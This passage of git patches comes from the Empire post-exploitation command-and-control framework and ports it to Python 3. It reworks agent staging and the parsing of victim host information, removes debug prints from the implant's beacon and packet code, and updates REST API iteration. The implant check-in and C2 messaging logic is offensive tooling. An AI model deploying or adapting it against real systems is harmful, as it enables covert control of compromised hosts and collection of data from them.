if len(parts) < 12: - message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message) + if len(parts) < 12: + message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # remove the agent from the cache/database + self.mainMenu.agents.remove_agent_db(sessionID) + return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message) + + # verify the nonce + if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1): + message = "[!] Invalid nonce returned from {}".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # remove the agent from the cache/database + self.mainMenu.agents.remove_agent_db(sessionID) + return "ERROR: Invalid nonce returned from %s" % (sessionID) + + message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # remove the agent from the cache/database - self.mainMenu.agents.remove_agent_db(sessionID) - return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message) - # verify the nonce - if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1): - message = "[!] Invalid nonce returned from {}".format(sessionID) + listener = str(parts[1], 'utf-8') + domainname = str(parts[2], 'utf-8') + username = str(parts[3], 'utf-8') + hostname = str(parts[4], 'utf-8') + external_ip = clientIP + internal_ip = str(parts[5], 'utf-8') + os_details = str(parts[6], 'utf-8') + high_integrity = str(parts[7], 'utf-8') + process_name = str(parts[8], 'utf-8') + process_id = str(parts[9], 'utf-8') + language = str(parts[10], 'utf-8') + language_version = str(parts[11], 'utf-8') + if high_integrity == "True": + high_integrity = 1 + else: + high_integrity = 0 + + except Exception as e: + message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e) signal = json.dumps({ 'print': True, 'message': message @@ -1417,42 +1452,7 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s dispatcher.send(signal, sender="agents/{}".format(sessionID)) # remove the agent from the cache/database self.mainMenu.agents.remove_agent_db(sessionID) - return "ERROR: Invalid nonce returned from %s" % (sessionID) - - message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) - signal = json.dumps({ - 'print': False, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}".format(sessionID)) - - listener = str(parts[1], 'utf-8') - domainname = str(parts[2], 'utf-8') - username = str(parts[3], 'utf-8') - hostname = str(parts[4], 'utf-8') - external_ip = clientIP - internal_ip = str(parts[5], 'utf-8') - os_details = str(parts[6], 'utf-8') - high_integrity = str(parts[7], 'utf-8') - process_name = str(parts[8], 'utf-8') - process_id = str(parts[9], 'utf-8') - language = str(parts[10], 'utf-8') - language_version = str(parts[11], 'utf-8') - if high_integrity == "True": - high_integrity = 1 - else: - high_integrity = 0 - - #except Exception as e: - # message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e) - # signal = json.dumps({ - # 'print': True, - # 'message': message - # }) - # dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # # remove the agent from the cache/database - # self.mainMenu.agents.remove_agent_db(sessionID) - # return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e) + return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e) if domainname and domainname.strip() != '': username = "%s\\%s" % (domainname, username) diff --git a/lib/common/empire.py b/lib/common/empire.py index 20ed6f34d..4c87bd894 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -393,9 +393,9 @@ def cmdloop(self): except NavListeners as e: self.menu_state = "Listeners" - #except Exception as e: - # print(helpers.color("[!] Exception: %s" % (e))) - # time.sleep(5) + except Exception as e: + print(helpers.color("[!] Exception: %s" % (e))) + time.sleep(5) def print_topics(self, header, commands, cmdlen, maxcol): @@ -2955,11 +2955,9 @@ def do_cd(self, line): 'print': False, 'message': message }) - print("empire 2949") dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) # update the agent log - print("empire 2953") msg = "Tasked agent to change active directory to: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index e71f4c08d..81c4ee7d4 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -856,20 +856,13 @@ def send_message(packets=None): global server global headers global taskURIs - print('sendmessage update') data = None if packets: - try: - print('if packets eneterd changed') - data = ''.join(packets.decode('latin-1')) - print('if packets 2') - # aes_encrypt_then_hmac is in stager.py - encData = aes_encrypt_then_hmac(key, data) - print('if packets 3') - data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) - except Exception as e: - print(e) - + data = ''.join(packets.decode('latin-1')) + # aes_encrypt_then_hmac is in stager.py + encData = aes_encrypt_then_hmac(key, data) + data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) + else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 @@ -877,13 +870,11 @@ def send_message(packets=None): routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') headers['Cookie'] = \"""" + self.session_cookie + """session=%s" % (b64routingPacket) - print(headers['Cookie']) taskURI = random.sample(taskURIs, 1)[0] requestUri = server + taskURI try: data = (urllib.urlopen(urllib.Request(requestUri, data, headers))).read() - print('returning 200') return ('200', data) except urllib.HTTPError as HTTPError: @@ -899,7 +890,6 @@ def send_message(packets=None): # if the server cannot be reached missedCheckins = missedCheckins + 1 return (URLerror.reason, '') - print('send message return') return ('', '') """ return updateServers + sendMessage From cedc3882c27e6f8ebc88a560d1b241841673e09f Mon Sep 17 00:00:00 2001 From: Anthony Rose Date: Mon, 13 Jan 2020 00:00:59 -0500 Subject: [PATCH 16/17] Updated REST API to Python 3 - #49 (#67) * Updated REST API to Python 3 - #49 * Fixed cert.sh directory --- empire | 32 ++++++++++++++++---------------- lib/common/listeners.py | 3 +++ 2 files changed, 19 insertions(+), 16 deletions(-) diff --git a/empire b/empire index 31dec231b..6d5a1f10d 100755 --- a/empire +++ b/empire @@ -307,7 +307,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, """ stagers = [] - for stagerName, stager in main.stagers.stagers.iteritems(): + for stagerName, stager in main.stagers.stagers.items(): info = copy.deepcopy(stager.info) info['options'] = stager.options info['Name'] = stagerName @@ -325,7 +325,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, return make_response(jsonify({'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' %(stager_name)}), 404) stagers = [] - for stagerName, stager in main.stagers.stagers.iteritems(): + for stagerName, stager in main.stagers.stagers.items(): if stagerName == stager_name: info = copy.deepcopy(stager.info) info['options'] = stager.options @@ -360,14 +360,14 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, stager = main.stagers.stagers[stagerName] # set all passed options - for option, values in request.json.iteritems(): + for option, values in request.json.items(): if option != 'StagerName': if option not in stager.options: return make_response(jsonify({'error': 'Invalid option %s, check capitalization.' %(option)}), 400) stager.options[option]['Value'] = values # validate stager options - for option, values in stager.options.iteritems(): + for option, values in stager.options.items(): if values['Required'] and ((not values['Value']) or (values['Value'] == '')): return make_response(jsonify({'error': 'required stager options missing'}), 400) @@ -390,7 +390,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, """ modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): moduleInfo = copy.deepcopy(module.info) moduleInfo['options'] = module.options moduleInfo['Name'] = moduleName @@ -433,7 +433,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, module = main.modules.modules[module_name] # set all passed module options - for key, value in request.json.iteritems(): + for key, value in request.json.items(): if key not in module.options: return make_response(jsonify({'error': 'invalid module option'}), 400) @@ -442,7 +442,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, # validate module options sessionID = module.options['Agent']['Value'] - for option, values in module.options.iteritems(): + for option, values in module.options.items(): if values['Required'] and ((not values['Value']) or (values['Value'] == '')): return make_response(jsonify({'error': 'required module option missing'}), 400) @@ -545,7 +545,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()) or (searchTerm.lower() in ("".join(module.info['Description'])).lower()) or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()) or (searchTerm.lower() in ("".join(module.info['Author'])).lower()): moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) @@ -570,7 +570,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()): moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) @@ -595,7 +595,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Description'])).lower()): moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) @@ -620,7 +620,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()): moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) @@ -645,7 +645,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, modules = [] - for moduleName, module in main.modules.modules.iteritems(): + for moduleName, module in main.modules.modules.items(): if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Author'])).lower()): moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) @@ -734,9 +734,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, listenerObject = main.listeners.loadedListeners[listener_type] # set all passed options - for option, values in request.json.iteritems(): - if type(values) == unicode: - values = values.encode('utf8') + for option, values in request.json.items(): + if isinstance(values, bytes): + values = values.decode('UTF-8') if option == "Name": listenerName = values @@ -767,7 +767,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for activeAgent in activeAgentsRaw: [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent - agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : agents}) diff --git a/lib/common/listeners.py b/lib/common/listeners.py index 1b3a69386..a9d948cf6 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -203,6 +203,9 @@ def start_listener(self, moduleName, listenerObject): name = listenerObject.options['Name']['Value'] nameBase = name + if isinstance(name, bytes): + name = name.decode('UTF-8') + if not listenerObject.validate_options(): return From bdd5fb89cb61409546d53cfe8d02e2f1a7454b6b Mon Sep 17 00:00:00 2001 From: Hubbl3 Date: Sun, 12 Jan 2020 23:07:11 -0600 Subject: [PATCH 17/17] fixed more debugging stuff --- data/agent/agent.py | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index df4e56e58..6bff8ac00 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -101,7 +101,7 @@ # ################################################ -#REPLACE_COMMS +REPLACE_COMMS ################################################ @@ -144,14 +144,12 @@ def build_response_packet(taskingID, packetData, resultID=0): | 2 | 2 | 2 | 2 | 4 | | +------+--------------------+----------+---------+--------+-----------+ """ - print('response packet') - print('taskingID: ' + str(type(taskingID))) - print('packetData: ' + str(type(packetData))) + packetType = struct.pack('=H', taskingID) totalPacket = struct.pack('=H', 1) packetNum = struct.pack('=H', 1) resultID = struct.pack('=H', resultID) - print('response packet 152') + if packetData: if(isinstance(packetData, str)): packetData = base64.b64encode(packetData.encode('utf-8', 'ignore')) @@ -159,15 +157,10 @@ def build_response_packet(taskingID, packetData, resultID=0): packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) if len(packetData) % 4: packetData += '=' * (4 - len(packetData) % 4) - print('if packet data: agent.py') - try: - length = struct.pack('=L',len(packetData)) - print('length not the issue') - except Exception as e: - print(e) + + length = struct.pack('=L',len(packetData)) return packetType + totalPacket + packetNum + resultID + length + packetData else: - print('else packet data') length = struct.pack('=L', 0) return packetType + totalPacket + packetNum + resultID + length